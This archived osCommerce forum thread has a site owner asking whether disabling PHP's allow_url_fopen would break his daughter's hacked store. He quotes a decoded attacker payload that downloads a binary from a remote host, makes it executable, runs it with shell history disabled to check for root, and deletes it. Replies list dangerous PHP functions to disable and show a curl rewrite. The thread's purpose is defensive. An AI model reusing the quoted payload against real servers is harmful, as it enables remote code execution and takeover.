dontremember Posted December 11, 2010 Share Posted December 11, 2010 Can anyone tell me if osCommerce would be horribly broken if I disable "allow_url_fopen" and/or "allow_url_include" by setting them to "no" in my php.ini?? Here's why - a couple of months ago my daughter's site was hacked and, among other things, a file called cookie_setup.php was left in doc root. When that file is accessed, it evals a post variable. So, rather than delete it, I modified it to email me the details. Since then I've have two emails indicating an attempt to access the script. The encoded string in the most recent email decodes into this (I changed the url): $name='logo_.gif'; $code = file_get_contents('http://xxx.xxx.xxx/xxx/attack4you'); $fp=@fopen($name, "w"); flock($fp,LOCK_EX); fwrite($fp,$code); fclose($fp); @chmod($name, 0777); $otv = system('echo "export HISTFILE=/dev/null; id" | ./'.$name); if (strstr($otv,'root')) { echo 'g00d1';} else echo 'err0r4'; unlink($name); I downloaded the "attack4you" file and found that it's a Linux binary. Dunno exactly what it does yet. Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent?? Link to comment Share on other sites More sharing options...
Guest Posted December 11, 2010 Share Posted December 11, 2010 Ralph, You don't have to change anything in a standard oscommerce installation as long as you have secured the site and applied the necessary security contributions. Now, I know you didn't state what version of OSC you are using, but assuming you are running RC2a, and have applied the aforementioned security then the site would be secure. Chris Link to comment Share on other sites More sharing options...
dontremember Posted December 12, 2010 Author Share Posted December 12, 2010 Ralph, You don't have to change anything in a standard oscommerce installation as long as you have secured the site and applied the necessary security contributions. Now, I know you didn't state what version of OSC you are using, but assuming you are running RC2a, and have applied the aforementioned security then the site would be secure. Chris Yep, it's RC2a and I've applied a variety of security fixes, so I haven't seen a recurrence of the original hack. The hole I'm referring to is a php.ini default setting, not anything in OSC. Leaving "allow_url_fopen" set true just seems to be a hole that faciliates hackery. I've got a copy of the site that I'm partway through patching to 2.3.1. Perhaps when I'm done I'll try closing that hole and see what happens. Link to comment Share on other sites More sharing options...
Guest Posted December 12, 2010 Share Posted December 12, 2010 Ralph, The problem would be your hosting providers default php.ini A properly configured php.ini would not be vulnerable. Chris Link to comment Share on other sites More sharing options...
Jack_mcs Posted December 12, 2010 Share Posted December 12, 2010 Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent?? Some contributions require that setting. As Chris mentioned, there shouldn't be a need to turn it off. Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
♥FWR Media Posted December 12, 2010 Share Posted December 12, 2010 Can anyone tell me if osCommerce would be horribly broken if I disable "allow_url_fopen" and/or "allow_url_include" by setting them to "no" in my php.ini?? Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent?? I think you are focussed on the wrong function I think that the system function is the main problem here. Usual functions to disable are .. show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, allow_url_fopen Disabling allow_url_fopen shouldn't pose a problem as no core scripts use this to my knowledge.If one does simply don't use it as opening urls via file_get_contents is not a great idea. Ultimate SEO Urls 5 PRO - Multi Language Modern, Powerful SEO Urls KissMT Dynamic SEO Meta & Canonical Header Tags KissER Error Handling and Debugging KissIT Image Thumbnailer Security Pro - Querystring protection against hackers ( a KISS contribution ) If you found my post useful please click the "Like This" button to the right. Please only PM me for paid work. Link to comment Share on other sites More sharing options...
dontremember Posted December 14, 2010 Author Share Posted December 14, 2010 The problem would be your hosting providers default php.ini A properly configured php.ini would not be vulnerable. The default php.ini certainly doesn't disable the usual functions: show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open So, to summarize, in a properly secured system I shouldn't need to disable allow_url_fopen, but if I do it won't break anything in core OSC. On the other hand, it might break some contributions. Thanks guys, that's what I needed to know! Ralph Link to comment Share on other sites More sharing options...
burt Posted December 14, 2010 Share Posted December 14, 2010 Properly secured system (if there is such a thing) or not, allow_url_fopen is better set to off. Any script that uses allow_url_fopen can be recoded to use curl, very easily. Here's an example of something similar; Example (original code); $url = "http://example.com/ratecalc.asp?Pickup_Postcode=$frompcode&Destination_Postcode=$topcode&Country=$dest_country&Weight=$sweight&Service_Type=AIR&Height=$sheight&Width=$swidth&Length=$slength&Quantity=$shipping_num_boxes"; $myfile = file($url); foreach($myfile as $vals) { $bits = split("=", $vals); $$bits[0] = $bits[1]; } Gave; Warning: file() [function.file]: URL file-access is disabled in the server configuration blah blah blah So I recoded it; $my_curl = curl_init(); curl_setopt($my_curl, CURLOPT_URL, 'http://example.com/ratecalc.asp?Pickup_Postcode=' . $frompcode . '&Destination_Postcode=' . $topcode . '&Country=' . $dest_country . '&Weight=' . $sweight . '&Service_Type=AIR&Height=' . $sheight . '&Width=' . $swidth . '&Length=' . $slength . '&Quantity=' . $shipping_num_boxes); curl_setopt($my_curl, CURLOPT_RETURNTRANSFER, 1); $my_contents= curl_exec($my_curl); curl_close ($my_curl); $my_contents= explode(' ', $my_contents); foreach($my_contents as $vals) { $bits = split("=", $vals); $$bits[0] = $bits[1]; } Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.